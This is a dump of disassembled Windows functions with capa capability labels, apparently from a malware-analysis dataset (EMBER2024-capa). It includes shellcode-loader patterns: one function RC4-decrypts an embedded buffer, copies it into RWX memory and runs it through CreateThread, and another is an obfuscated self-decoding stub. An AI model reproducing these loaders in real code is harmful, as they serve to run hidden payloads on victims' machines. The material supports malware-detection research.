joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405f5a
Capabilities:
Encode data using xor

Disassembly:
push edi
mov edi, dword [0x426c0e]
test edi, edi
jg 0x405f70
and dword [0x426d48], 0
xor eax, eax
pop edi
ret
mov eax, 0x800
cmp edi, eax
push esi
cmova edi, eax
push edi
push dword [0x426d50]
push dword [0x423b20]
call dword [sym.imp.KERNEL32.dll__lread]
cmp dword [0x423b3c], 0
mov esi, eax
mov dword [0x426d48], esi
je 0x405fee
cmp esi, 0xffffffff
je 0x405fee
cmp esi, edi
je 0x405fff
test esi, esi
js 0x405fee
mov ax, word [0x423060]
push dword [0x423b40]
inc ax
movzx eax, ax
push eax
call fcn.004037c4
mov esi, dword [0x426d48]
test esi, esi
jne 0x405fe8
push edi
push dword [0x426d50]
push dword [0x423b20]
call dword [sym.imp.KERNEL32.dll__lread]
mov esi, eax
mov dword [0x426d48], esi
cmp esi, 0xffffffff
cmovne edi, esi
cmp esi, edi
je 0x405fff
push 2
call fcn.00401729
mov esi, dword [0x426d48]
sub dword [0x426c0e], esi
cmp dword [0x423b30], 0
mov edi, dword [0x426d50]
mov dword [0x426d4c], edi
je 0x40603b
test esi, esi
je 0x40603b
call fcn.00407e52
xor byte [edi], al
movzx eax, byte [edi]
push eax
call fcn.00407f2c
inc edi
pop ecx
sub esi, 1
jne 0x40601e
mov esi, dword [0x426d48]
mov eax, esi
dec esi
mov dword [0x426d48], esi
pop esi
pop edi
ret
Function at 0x407ea4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x4231a4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push dword [0x423b38]
mov esi, dword [ebp + 8]
call fcn.00407e6c
push 0xc
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.004035a5
add esp, 0x10
xor esi, esi
call fcn.00407e52
movzx ecx, byte [ebp + esi - 0x10]
xor eax, ecx
mov byte [ebp + esi - 0x10], al
movzx eax, al
push eax
call fcn.00407f2c
inc esi
pop ecx
cmp esi, 0xc
jl 0x407ed4
cmp dword [0x423b34], 0
movzx ecx, byte [ebp - 5]
pop esi
je 0x407f13
movzx eax, byte [0x426c07]
cmp cx, ax
je 0x407f1c
or eax, 0xffffffff
jmp 0x407f1e
movzx eax, byte [0x426c0d]
jmp 0x407f09
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040876a
mov esp, ebp
pop ebp
ret

Function at 0x407f2c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov ecx, dword [0x426310]
mov eax, ecx
xor eax, dword [esp + 4]
movzx eax, al
shr ecx, 8
xor ecx, dword [eax*4 + 0x426360]
movzx eax, cl
add eax, dword [0x426314]
imul eax, eax, 0x8088405
mov dword [0x426310], ecx
mov ecx, dword [0x426318]
inc eax
mov dword [0x426314], eax
shr eax, 0x18
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x426360]
mov dword [0x426318], ecx
ret
Function at 0x402ee0
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
mov edx, dword [ebp - 4]
lea eax, [ebp - 8]
push eax
add edi, esi
push edi
push esi
lea edi, [ebp - 0xc]
call fcn.00403c74
mov eax, dword [ebp - 8]
add esp, 0xc
dec eax
mov dword [0x40d6f8], eax
mov dword [0x40d6fc], esi
xor eax, eax
jmp 0x402ebb
hlt
pop edi
pop esi
pop ebx
leave
ret
push ebp
push edi
lea edi, [0x4085e0]
mov edx, ecx
mov dword [0x40c1be], esp
call fcn.0040287f
pop edi
inc eax
add bh, bh
mov eax, eax
call 0xc0b537e8
sal byte [eax + eax*8 + 0x40], 0x74
jne 0x402f7b
rol al, 0x75
jne 0x402e8f
call 0x8380bad1
je 0x402e9c
or ah, cl
int3
inc dword [eax]
or byte [ebx - 0x76f7ffc0], al
jne entry0
add byte [edi + edi*8], al
mov ecx, dword [eax]
add dword [ebp - 0x7cf77a7b], 0xffffff83
or byte [ebx - 0x76fc00], cl
test dword [ebx - 0x763f747d], eax
mov dword [ecx + 0x8cc8b85], ecx
je 0x402f8c
add al, 0x89
inc dword [ebp - 0x3f747c7d]
mov dword [ecx - 0x33747a77], ecx
or byte [eax + eax + 0x40], dh
inc eax
test dword [eax], eax
jne 0x403006
push dword [ebp + 0x40]
je 0x402f62
sub eax, 8
dec dword [ecx - 0x76f77677]
add byte [ebp - 1], dh
add al, 8
or esp, 0xffffffff
shr al, 0x74
or byte [ebx + 0x180ee8], al
call 0x4047bf
invalid
jle 0x402fb8
add byte [eax], al
int3
int3
int3

Function at 0x40543b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40c5d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00404137
and dword [ebp - 0x14], 0
cmp dword [0x40dfe8], 0
mov dword [ebp - 0x18], eax
jne 0x4054ee
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x405596
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x405596
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40dfe8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40dfec], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40dff0], eax
call edi
push eax
call esi
mov dword [0x40dff8], eax
test eax, eax
je 0x4054ee
push str.GetProcessWindowStation
push ebx
call edi

Function at 0x4057a6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c5d0]
jne 0x4057b0
repz ret
jmp fcn.00406ae3
Function at 0x108aa98a
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
je 0x104d9d49
cmp eax, edx
jb 0x10498a8d
mov esi, dword [ebp - 0x10]
add esi, edx
jmp 0x1089ff19
mov dword [ebp - 8], eax
jmp 0x104f0966
mov eax, dword [ebp + 8]
btc ecx, 0x6a
movsx edx, bx
add ch, 0xff
mov ecx, dword [ebp - 4]
sbb dh, 0x2b
and dh, dl
cwd
mov edx, dword [ecx + eax + 0x24]
shr cx, cl
lea ecx, [edx + esi*2]
bsr dx, sp
rcl dl, 0xa5
and dx, sp
movzx edx, word [ecx + eax]
mov dword [ebp - 8], edx
mov ecx, eax
rcl eax, cl
sub dh, bh
mov edx, dword [ebp - 4]
sal al, cl
shld eax, ecx, 0xb6
mov eax, dword [ebp - 8]
cmp eax, dword [edx + ecx + 0x14]
jmp 0x108c04ae
mov eax, dword [ebp - 0xc]
xor edx, 0x605c02d6
mov edx, dword [ebp + 0x10]
bswap esi
lea esi, [edi + ebx]
cmp dh, 0x47
cmp esi, ebp
clc
sar esi, 1
test edi, 0x31fe0e07
jmp 0x104b25f4
push ebx
push edi
mov dword [ebp - 0x10], eax
clc
mov dword [ebp - 8], 0xffffffff
cmc
test edi, ebx
cmp esi, 0xffff
ja 0x104d7a16
mov eax, esi
cmc
sub eax, dword [edx + ecx + 0x10]
jmp 0x103938e3
je 0x109188f8
xor eax, eax
mov si, sp
movsx esi, bx
not si
pop esi
jmp 0x104577ac
jle 0x103a3689
lea ebx, [esi + 1]
movsx ecx, dx
sbb ecx, esp
shr cl, 0x4f
mov ecx, dword [ebp + 8]
cmp ebx, edi
jle 0x103c61a9
jmp 0x103a36c1
pop esi
jmp 0x10810f69
mov esp, ebp
jmp 0x1080e27b
pop edi
rol si, 0xd6
btr esi, 0x70
pop ebx
shrd si, sp, 0x2e
sbb esi, edi
add eax, ecx
jmp 0x1044bf26
mov eax, dword [eax + esi*4]
push edx
mov edx, dword [ebp + 0xc]
test bh, 0x9c
cmp cx, di
add eax, ecx
jmp 0x108e0e08
je 0x103e9a8f
mov eax, dword [eax + ecx + 0x7c]
jmp 0x103e800f
mov dword [ebp - 0xc], eax
jmp 0x104dff30
mov eax, dword [eax + ecx]
cmc
test eax, eax
jmp 0x103639bb
mov edi, dword [edx + ecx + 0x18]
test edi, edi
jmp 0x1095938d
mov esi, eax
jmp 0x1080e566
js 0x103a36ca
jmp 0x103c61b2
jmp 0x103a36ca
pop ebp
jmp 0x1087aa63
test cl, cl
jmp 0x1094c93d
mov esp, ebp
xchg bp, bp
pop ebp
jmp 0x109207ef
ret
cmp eax, esi
jmp 0x1091d31c
push ebp
mov ebp, esp
stc
ror ecx, 0xa9
mov ecx, dword [ebp + 8]
cmp cx, bp
lea esp, [esp - 0x114]
cmc
push esi
test ecx, ecx
je 0x103e9a8f
mov esi, dword [ebp + 0xc]
cmp ebx, 0x2e28607b
test esi, esi
je 0x103e9a8f
mov eax, 0x5a4d
cmp cx, dx
cmp word [ecx], ax
jmp 0x103e9a89
jae 0x104d9d49
mov esi, dword [edx + ecx + 0x1c]
cmp ebp, ebx
clc
lea eax, [esi + eax*4]
jmp 0x104c2113
call fcn.1044457e
add esp, 4
cmp dh, 0x42
test eax, eax
jmp 0x10913743
jne 0x103e9a8f
mov edx, dword [eax + ecx + 0x78]
stc
mov dword [ebp - 4], edx
test edx, edx
jmp 0x104b5d08
jns 0x10435221
lea edi, [esi - 1]
jmp 0x10435232
mov eax, dword [ecx + 0x3c]
cmp dword [eax + ecx], 0x4550
jmp 0x1090fa3a
jae 0x10498a8d
add eax, ecx
mov cl, byte [eax]
jmp 0x104daf2a
ret
je 0x104d9d49
je 0x103a36ca
mov eax, dword [edx + ecx + 0x20]
stc
cmp bx, si
lea eax, [eax + ecx]
xor ebx, ebx
dec edi
jmp 0x104bf2d7
Function at 0x4e6053
Capabilities:
Terminate process

Disassembly:
jmp fcn.00644f50
jmp 0x62ed80
cmp ecx, dword [0x7053e8]
jne 0x62ed8a
repz ret
jmp 0x4e0f86
Function at 0x4f7910
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0xcc]
mov ecx, 0x33
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov dword [ebp - 8], ecx
mov esi, esp
push 0
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x20]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
cmp esi, esp
call fcn.004e7db3
pop edi
pop esi
pop ebx
add esp, 0xcc
cmp ebp, esp
call fcn.004e7db3
mov esp, ebp
pop ebp
ret
Function at 0x535380
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
call fcn.004df2a8
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
call fcn.004ea2ac
mov ecx, dword [ebp + 8]
cmp dword [ecx], 0
je 0x53540b
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x5353e2
mov eax, dword [ebp - 8]
add eax, 1
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, dword [ebp + 0x10]
call fcn.004e610c
push eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x5353ff
push 0x100
push 0xff
mov ecx, dword [ebp + 0x10]
call fcn.004e1bac
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0xffffffffffffffff
mov ecx, dword [ebp + 0x10]
call fcn.004e5da6
jmp 0x53543c
mov ecx, dword [ebp + 0x10]
call fcn.004e3ae2
push eax
push 0xffffffffffffffff
push 0x14d
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 0xffffffff
jne 0x53543c
mov ecx, dword [ebp + 0x10]
call fcn.004e3ae2
push eax
mov edx, dword [ebp - 4]
push edx
call fcn.004e173d
mov esp, ebp
pop ebp
ret 0xc
Function at 0x558440
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
cmp dword [ebp + 0xc], 0
je 0x558568
call fcn.004e71b0
mov dword [ebp - 0x10], eax
push pe_nt_image_headers32
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x5584fb
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x5584d2
push str.DLGINIT_resource_was_found__but_could_not_be_loaded._n
push 0
mov ecx, 0x709454
call fcn.004e5c75
push eax
push 0x16f
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcoccmgr.cpp
lea ecx, [ebp - 0x20]
call fcn.004e8696
push eax
call fcn.004e9a8c
add esp, 0x10
xor eax, eax
jmp 0x5585d6
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x5584f9
push 0x175
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcoccmgr.cpp
call fcn.004e3b6e
test eax, eax
je 0x5584f9
int3
jmp 0x558568
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0
jne 0x55851e
push 0x17d
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcoccmgr.cpp
call fcn.004e3b6e
test eax, eax
je 0x55851e
int3
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0xffffffff
je 0x558568
mov ecx, dword [ebp - 0x18]
cmp dword [ecx], 0
je 0x55855d
push str.Dialog_has_OLE_controls__but_no_matching_DLGINIT_resource._n
push 0
mov ecx, 0x709454
call fcn.004e5c75
push eax
push 0x183
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfcoccmgr.cpp
lea ecx, [ebp - 0x28]
call fcn.004e8696
push eax
call fcn.004e9a8c
add esp, 0x10
jmp 0x558568
mov edx, dword [ebp - 0x18]
add edx, 4
mov dword [ebp - 0x18], edx
jmp 0x55851e
mov dword [ebp - 8], 1
cmp dword [ebp - 4], 0
je 0x558591
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [edx + 0x20]
call eax
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
je 0x5585b0
cmp dword [ebp - 0xc], 0
je 0x5585b0
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.004e238b
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [ebp + 8]
cmp dword [eax + 0x4c], 0
je 0x5585d3
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x4c]
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx + 0x4c]
mov edx, dword [eax]
mov eax, dword [edx + 0xa8]
call eax
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x5925b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
and ecx, 1
je 0x5925d1
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0xc]
mov dword [ebp - 8], eax
jmp 0x59262c
push 5
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x5925f5
call fcn.004e54be
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x592614
call fcn.004e54be
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x59262c
call fcn.004e54be
call fcn.004e8687
cmp dword [eax + 0x3c], 0
je 0x592646
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
call fcn.004e2f75
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.004e175b
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x5c], 0
je 0x592676
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x5c], 0
cmp dword [ebp - 4], 0
je 0x59268b
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 4]
mov dword [edx + 0x5c], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 8]
mov dword [ecx + 0xc], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
or ecx, 1
mov edx, dword [ebp + 8]
mov dword [edx + 4], ecx
mov esp, ebp
pop ebp
ret 8
Function at 0x100433fe
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x1004340d
pop dword [ebp - 0x10]
mov eax, 0x1004340d
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xb8aed948
sub dword [ebp - 0x20], 0x6a5c93fd
mov dword [ebp - 0x1c], 0x48ce7544
add dword [ebp - 0x1c], 0xe964d701
mov dword [ebp - 0x18], 0x22112de0
sub dword [ebp - 0x18], 0xd5c4e9b2
mov dword [ebp - 0x14], 0xe857a02f
sub dword [ebp - 0x14], 0xe857a02f
lea eax, [ebp - 0x20]
push eax
mov eax, 0xdc826a27
add eax, 0x338395e9
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x5dc53bb3
add dword [ebp - 0x20], 0x16ad2da3
mov dword [ebp - 0x1c], 0x1cb5cacb
sub dword [ebp - 0x1c], 0xdb496956
mov dword [ebp - 0x18], 0xb6a1b27
sub dword [ebp - 0x18], 0xa7faaebb
mov dword [ebp - 0x14], 0xd0d06035
sub dword [ebp - 0x14], 0xd0d06035
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xd074bbed
add eax, 0x3f914427
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x55f42
push 0
call eax
mov ecx, 0x30d1aef5
sub ecx, 0x30d16650
mov edi, eax
mov esi, 0xbd17b886
sub esi, 0xad0efc86
add esi, dword [ebp - 0x10]
mov ebx, 0x16c02719
add ebx, 0xc987fd51
mov dword [ebp - 4], 0x54e4cb89
mov edx, dword [esi]
add dword [ebp - 8], 0xb2c3b333
xor edx, ebx
xor dword [ebp - 4], eax
mov dword [edi], edx
add dword [ebp - 8], 0xd692b44b
add edi, 0x25840860
add edi, 0xda7bf7a4
add esi, 0x4737d683
add esi, 0xb8c82981
loop 0x1004352a
add eax, 0xfdc6c295
add eax, 0x23a52d2
xor ebx, ebx
add ebx, eax
add eax, 0x2db460a6
add eax, 0xd24b9f5f
mov ecx, 0xf35933a3
sub ecx, 0xe35933a3
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x401090
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x37c
mov eax, dword [0x4683c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ecx, 0x58
mov byte [ebp - 8], 0
mov esi, 0x465fe0
lea edi, [ebp - 0x17c]
rep movsd dword es:[edi], dword [esi]
xorps xmm0, xmm0
movups xmmword [ebp - 0x18], xmm0
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.004012a0
mov esi, eax
test esi, esi
je 0x40114c
push str.http:__127.0.0.1:8080_flag.txt
push 0x2712
push esi
call fcn.00405340
push 0x401070
push 0x4e2b
push esi
call fcn.00405340
lea eax, [ebp - 0x18]
push eax
push 0x2711
push esi
call fcn.00405340
push esi
call fcn.00401300
add esp, 0x28
test eax, eax
jne 0x401120
lea eax, [ebp - 0x18]
push eax
push 0x465fb8
call fcn.00401040
add esp, 8
jmp 0x401143
push eax
call fcn.00401cf0
add esp, 4
push eax
push str.curl_easy_perform___failed:__s_n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401010
add esp, 0xc
push esi
call fcn.00401280
add esp, 4
xor eax, eax
nop
mov ecx, eax
mov byte [ebp + eax - 0x27c], al
and ecx, 0xf
mov cl, byte [ebp + ecx - 0x18]
mov byte [ebp + eax - 0x37c], cl
inc eax
cmp eax, 0x100
jb 0x401150
xor edi, edi
xor esi, esi
nop dword [eax]
nop word [eax + eax]
mov dl, byte [ebp + esi - 0x27c]
movzx eax, byte [ebp + esi - 0x37c]
add eax, edi
movzx ecx, dl
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x27c]
mov byte [ebp + esi - 0x27c], al
inc esi
mov byte [ebp + edi - 0x27c], dl
cmp esi, 0x100
jb 0x401180
xor edi, edi
xor ebx, ebx
xor esi, esi
nop dword [eax]
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x27c]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
movzx eax, byte [ebp + ebx - 0x27c]
mov byte [ebp + edi - 0x27c], al
mov byte [ebp + ebx - 0x27c], cl
movzx eax, byte [ebp + edi - 0x27c]
add eax, edx
movzx eax, al
movzx eax, byte [ebp + eax - 0x27c]
xor byte [ebp + esi - 0x17c], al
inc esi
cmp esi, 0x162
jb 0x4011c0
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.CreateThread
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push 0x7d0
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea esi, [ebp - 0x17c]
mov ecx, 0x58
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 0
push eax
movsw word es:[edi], word [esi]
push 0
push 0
movsb byte es:[edi], byte [esi]
call ebx
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00456ab8
mov esp, ebp
pop ebp
ret
Function at 0x40a840
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x40a8ef
push esi
call fcn.0041ee10
add esp, 4
test al, al
jne 0x40a8ef
push ebx
push edi
mov edi, esi
xor ebx, ebx
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x40a867
sub edi, ecx
push edi
push 0x2e
push esi
call fcn.004287e0
add esp, 0xc
test eax, eax
je 0x40a89b
sub eax, esi
push eax
push 0x2e
push esi
call fcn.004287e0
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x40a89d
inc ebx
mov ecx, esi
sub ecx, ebx
add edi, ecx
test ebx, ebx
cmovne esi, ebx
lea ebx, [esi + edi]
mov edi, 0x1505
cmp esi, ebx
jae 0x40a8ce
nop dword [eax]
mov al, byte [esi]
push eax
call fcn.0041c0a0
movsx ecx, al
inc esi
mov eax, edi
add esp, 4
shl eax, 5
add eax, edi
xor ecx, eax
mov edi, ecx
cmp esi, ebx
jb 0x40a8b0
mov eax, 0x4104105
mov esi, edi
mul edi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 5
mov ecx, esi
shl ecx, 6
sub ecx, esi
sub edi, ecx
mov eax, edi
pop edi
pop ebx
pop esi
ret
xor eax, eax
pop esi
ret
Function at 0x416320
Capabilities:
Write file on windows

Disassembly:
push edi
mov edi, dword [esp + 8]
cmp byte [edi + 0x6c3], 0
je 0x4163bf
cmp dword [edi + 0x19c], 0
je 0x416377
push edi
call fcn.004057f0
push 1
push edi
mov byte [esp + 0x14], al
call fcn.00405a80
push dword [edi + 0x14c]
mov eax, dword [edi + 0x19c]
push dword [esp + 0x24]
push dword [esp + 0x24]
push dword [esp + 0x24]
push edi
call eax
push dword [esp + 0x28]
push edi
call fcn.00405a80
add esp, 0x28
pop edi
ret
mov ecx, dword [esp + 0xc]
mov eax, ecx
sub eax, 0
je 0x41638c
sub eax, 1
je 0x41638c
sub eax, 1
jne 0x4163bf
push dword [edi + 0x148]
lea eax, [ecx*2 + 0x45b9f4]
push 1
add eax, ecx
push 2
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push dword [edi + 0x148]
push 1
push dword [esp + 0x2c]
push dword [esp + 0x2c]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x20
pop edi
ret

Function at 0x418b30
Capabilities:
Get common file path

Disassembly:
push ecx
push ebx
push edi
push str.kernel32
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
jne 0x418b4a
pop edi
pop ebx
pop ecx
ret
push ebp
push esi
push str.LoadLibraryExA
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x18]
mov ebp, eax
push 0x45be7c
push esi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strpbrk]
add esp, 8
test eax, eax
je 0x418b93
test ebp, ebp
je 0x418b84
push 8
push 0
push esi
call ebp
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
test ebp, ebp
je 0x418bb9
push str.AddDllDirectory
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x418bb9
push 0x800
push 0
push esi
call ebp
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, eax
mov dword [esp + 0x10], edx
test edx, edx
je 0x418c6f
mov ecx, esi
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418bd6
sub ecx, ebx
lea eax, [ecx + 1]
add eax, edx
push eax
call dword [section..data]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x418c65
push dword [esp + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x418c65
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418c08
sub ecx, edx
mov eax, 0x5c
mov word [ecx + ebx], ax
mov ecx, ebx
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418c20
sub ecx, edx
sub ecx, esi
add ecx, ebx
nop dword [eax]
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x418c30
test ebp, ebp
je 0x418c5c
push 8
push 0
push ebx
call ebp
push ebx
mov edi, eax
call dword [0x468004]
add esp, 4
mov eax, edi
pop esi
pop ebp
pop edi
pop ebx
pop ecx
ret
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push ebx
call dword [0x468004]
add esp, 4
pop esi
pop ebp
mov eax, edi
pop edi
pop ebx
pop ecx
ret